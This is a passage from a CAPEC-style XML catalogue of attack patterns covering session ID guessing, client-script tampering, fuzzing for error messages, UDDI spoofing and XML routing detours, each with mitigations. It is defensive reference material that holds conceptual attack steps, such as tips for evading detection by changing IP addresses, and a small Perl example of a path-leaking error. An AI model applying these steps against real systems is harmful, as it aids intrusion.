							many possible combinations so the parameters session-ID= 1234 has few
							possible combinations, and an attacker can retry several hundred or
							thousand request with little to no issue on their side.</Text>
						<Text>The second method is interception, where a tool such as wireshark is
							used to sniff the wire and pull off any unprotected session identifiers.
							The attacker can then use these variables and access the
							application.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To achieve a direct connection with the weak or non-existent server
							session access control, and pose as an authorized user</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to deploy software on network. Ability to communicate synchronously or
					asynchronously with server</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: utilize strong federated identity such as SAML to encrypt and sign
						identity tokens in transit.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use industry standards session key generation mechanisms
						that utilize high amount of entropy to generate the session key. Many
						standard web and application servers will perform this task on your
						behalf.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: If the session identifier is used for authentication, such
						as in the so-called single sign on use cases, then ensure that it is
						protected at the same level of assurance as authentication tokens.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: If the web or application server supports it, then
						encrypting and/or signing the session ID (such as cookie) can protect the ID
						if intercepted.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Use strong session identifiers that are protected in transit and
						at rest.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Utilize a session timeout for all sessions, for example 20
						minutes. If the user does not explicitly logout, the server terminates their
						session after this period of inactivity. If the user logs back in then a new
						session key is generated.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Verify of authenticity of all session IDs at
						runtime.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Malicious input delivered through standard service calls, e.g. FTP or posting
					a message to a message queue.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Varies with instantiation of attack pattern. The main goal is so spoof or
					impersonate a legitimate user.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network (e.g. Intranet)</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to impersonate another user and access commands and data
						(and log behavior to audit logs) on their behalf.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>290<!--Authentication Bypass by Spoofing--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>302<!--Authentication Bypass by Assumed-Immutable Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>539<!--Information Leak Through Persistent Cookies--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>6<!--J2EE Misconfiguration: Insufficient Session-ID Length--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>384<!--Session Fixation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>664<!--Improper Control of a Resource Through its Lifetime--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>642<!--External Control of Critical State Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>225<!--Exploitation of Authentication--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-10</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Paco Hope</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="211"
			Name="Leveraging web tools (e.g. Mozilla's GreaseMonkey, Firebug) to change application behavior"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker utilizes web tools such as Mozilla's GreaseMonkey in order to
						modify the behavior of web applications, potentially violating assumptions
						that a server makes about web-based clients. Web-based client applications
						may use code such as JavaScript in order to populate fields submitted to a
						server or to ensure a correct order of operations. However, tools such as
						GreaseMonkey and Firebug can re-write a web site's JavaScript locally before
						it is interpreted on a client browser. As a result, the processing
						activities on the client may not conform to the server's expectations. For
						example, a web-based client application might use JavaScript to fill in the
						identity of the application's user based on other information that is
						available. However, if the attacker is utilizing a web tool to change the
						JavaScript of the web client, they could insert any identity that they
						wished, thus allowing them to impersonate other users. Depending on the
						client-functionality that the attacker is affecting, the attacker could
						impersonate other users, change purse-logic, remove client-based filters,
						and otherwise violate server expectations.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The server must rely on JavaScript, the DOM model, or some similar
						component of a web-based client application to perform trusted
						actions.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have installed a web tool that allows scripts or the DOM
					model of web-based applications to be modified before they are executed in a
					browser. GreaseMonkey and Firebug are two examples of such tools. The attacker
					must also have some understanding of the script or DOM of the client application
					they are modifying and how these changes will affect the server.</Text>
			</Resources_Required>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>113<!--API Abuse/Misuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Link>//en.wikipedia.org/wiki/Greasemonkey</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Link>//getfirebug.com/</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Link>//addons.mozilla.org/en-US/firefox/addon/748</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="213" Name="Directory Traversal" Pattern_Abstraction="Standard"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="214"
			Name="Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends random, malformed, or otherwise unexpected messages to a
						target application and observes any stack traces produced by error messages.
						Fuzzing techniques involve sending random or malformed messages to a target
						and monitoring the target's response. The attacker does not initially know
						how a target will respond to individual messages but by attempting a large
						number of message variants they may find a variant that trigger's desired
						behavior. In this attack, the purpose of the fuzzing is to cause the
						targeted application to return an error including a stack trace, although
						fuzzing a target can also sometimes cause the target to enter an unstable
						state, causing a crash. The strack trace enumerates the chain of methods
						that led up to the point where the error was encountered. This can not only
						reveal the names of the methods (some of which may have known weaknesses)
						but possibly also the location of class files and libraries as well as
						parameter values. In some cases, the stack trace might even disclose
						sensitive configuration or user information.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must fail to sanitize incoming messages adequately
						before processing and must generate a stack trace in at least some error
						situations.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have sufficient access to send messages to the target. The
					attacker must also have the ability to observe the stack trace produced by the
					target application. Fuzzing tools, which automatically generate and send message
					variants, are necessary for this attack.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>209<!--Information Exposure Through an Error Message--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>388<!--Error Handling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-2434</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Unspecified vulnerability in WebSphere 5.1.1 (or any earlier
							cumulative fix) Common Configuration Mode + CommonArchive and J2EE
							Models might allow attackers to obtain sensitive information via the
							trace.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>54<!--Probing an Application Through Targeting its Error Reporting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="215"
			Name="Fuzzing and observing application log data/errors for application mapping"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends random, malformed, or otherwise unexpected messages to a
						target application and observes the application's log or error messages
						returned. Fuzzing techniques involve sending random or malformed messages to
						a target and monitoring the target's response. The attacker does not
						initially know how a target will respond to individual messages but by
						attempting a large number of message variants they may find a variant that
						trigger's desired behavior. In this attack, the purpose of the fuzzing is to
						observe the application's log and error messages, although fuzzing a target
						can also sometimes cause the target to enter an unstable state, causing a
						crash. By observing logs and error messages, the attacker can learn details
						about the configuration of the target application and might be able to cause
						the target to disclose sensitive information.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses fuzzing tools to send random
												malformed messages to web server and observes for
												server’s log or error message.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker uses fuzzing tools to send
												random malformed messages to web server and
												observes for server’s log or error message.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application’s log or error messages
												contain sensitive information.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>There is no desired error message returned.
												This does not mean the application will not
												disclose sensitive information through error
												messages.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The application log or error
												messages contain sensitive information about the
												application.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>The web server may
												detect a large amount of HTTP requests from the
												same host in a short
												period.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description> Construct a 'code
												book' for error messages and /or clean the error
												messages. </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Modify the parameters to get the desired
											information from the error messages.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker usually needs to modify the fuzzing
												parameters according to the observed error messages
												to get the desired sensitive information for the
												application. To defeat correlation, the attacker may
												try changing the origin IP addresses or client
												browser identification strings or start a new
												session from where he left off in obfuscating the
												attack.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Modify the parameters in the fuzzing tool
												according to the observed error messages. Repeat
												with enough parameters until the application has
												been sufficiently mapped.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>If the application rejects the large amount
												of fuzzing messages from the same host machine,
												the attacker needs to hide the attacks by changing
												the IP addresses or other credentials.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application errors messages/logs contain
												sensitive information mapping the
												application.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>The application errors messages/logs have no
												sensitive information about the
												application.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets a list of
												sensitive information mapping the
												application.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>The web server may
												detect a large amount of HTTP requests from the
												same host in a short
												period.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Construct a 'code
												book' for error messages and/or clean the error
												messages.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must fail to sanitize incoming messages adequately
						before processing.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The following code generates an error message that leaks the full
							pathname of the configuration file. Example Language: Perl $ConfigDir =
							"/home/myprog/config"; $uname = GetUserInput("username"); ExitError("Bad
							hacker!") if ($uname !~ /^\w+$/); $file = "$ConfigDir/$uname.txt"; if (!
							(-e $file)) { ExitError("Error: $file does not exist"); } ... If this
							code is running on a server, such as a web application, then the person
							making the request should not know what the full pathname of the
							configuration directory is. By submitting a username that does not
							produce a $file that exists, an attacker could get this pathname. It
							could then be used to exploit path traversal or symbolic link following
							problems that may exist elsewhere in the application. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Although fuzzing parameters is not difficult, and often possible with
							automated fuzzing tools, interpreting the error conditions and modifying
							the parameters so as to move further in the process of mapping the
							application requires detailed knowledge of target platform, the
							languages and packages used as well as software design.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Fuzzing tools, which automatically generate and send message variants, are
					necessary for this attack. The attacker must have sufficient access to send
					messages to the target. The attacker must also have the ability to observe the
					target application's log and/or error messages in order to collect information
					about the target.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Construct a 'code book' for error messages. When using a code
						book, application error messages aren't generated in string or stack trace
						form, but are catalogued and replaced with a unique (often integer-based)
						value 'coding' for the error. Such a technique will require helpdesk and
						hosting personnel to use a 'code book' or similar mapping to decode
						application errors/logs in order to respond to them normally.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: wrap application functionality (preferably through the underlying
						framework) in an output encoding scheme that obscures or cleanses error
						messages to prevent such attacks. Such a technique is often used in
						conjunction with the above 'code book' suggestion.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Obfuscate server fields of HTTP response.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Hide inner ordering of HTTP response header.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Customizing HTTP error codes such as 404 or 500.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Hide HTTP response header software information
						filed.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Hide cookie’s software information filed.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Obfuscate database type in Database API’s error
						message.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text> User-controllable request</Text>
			</Injection_Vector>
			<Payload>
				<Text>Malformed message, based on application context, crafted to elicit error
					conditions from the application.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Error handling mechanism within the application.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The impact of activation is an error condition that reveals sufficient
						information for further application mapping to the attacker.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>209<!--Information Exposure Through an Error Message--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>532<!--Information Exposure Through Through Log Files--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>54<!--Probing an Application Through Targeting its Error Reporting--></Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/54.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title> CWE-209: Information Exposure Through an Error
						Message</Reference_Title>
					<Reference_Link>http://cwe.mitre.org/data/definitions/209.html</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="217" Name="Exploiting Incorrectly Configured SSL Security Levels"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>216<!--Abuse of Communication Channels--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="218" Name="Spoofing of UDDI/ebXML Messages"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker spoofs a UDDI, ebXML, or similar message in order to
						impersonate a service provider in an e-business transaction. UDDI, ebXML,
						and similar standards are used to identify businesses in e-business
						transactions. Among other things, they identify a particular participant,
						WSDL information for SOAP transactions, and supported communication
						protocols, including security protocols. By spoofing one of these messages
						an attacker could impersonate a legitimate business in a transaction or
						could manipulate the protocols used between a client and business. This
						could result in disclosure of sensitive information, loss of message
						integrity, or even financial fraud.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted business's UDDI or ebXML information must be served from a
						location that the attacker can spoof or compromise or the attacker must be
						able to intercept and modify unsecured UDDI/ebXML messages in
						transit.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to force the target user to accept their spoofed
					UDDI or ebXML message as opposed to the a message associated with a legitimate
					company. Depending on the follow-on for the attack, the attacker may also need
					to serve its own web services.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Clients should only trust UDDI, ebXML, or similar messages
						that are verifiably signed by a trusted party.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>148<!--Content Spoofing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="219" Name="XML  Routing Detour Attacks" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker subverts an intermediate system used to process XML content
						and forces the intermediate to modify and/or re-route the processing of the
						content. XML Routing Detour Attacks are Man in the Middle type attacks. The
						attacker compromises or inserts an intermediate system in the processing of
						the XML message. For example, WS-Routing can be used to specify a series of
						nodes or intermediaries through which content is passed. If any of the
						intermediate nodes in this route are compromised by an attacker they could
						be used for a routing detour attack. From the compromised system the
						attacker is able to route the XML process to other nodes of his or her
						choice and modify the responses so that the normal chain of processing is
						unaware of the interception. This system can forward the message to an
						outside entity and hide the forwarding and processing from the legitimate
						processing systems by altering the header information.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the target</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using command line or an automated tool, an
												attacker records all instances of web services to
												process XML requests.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use automated tool to record all instances
												to process XML requests or find exposed
												WSDL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use tools to crawl WSDL </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The URL processes XML requests.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
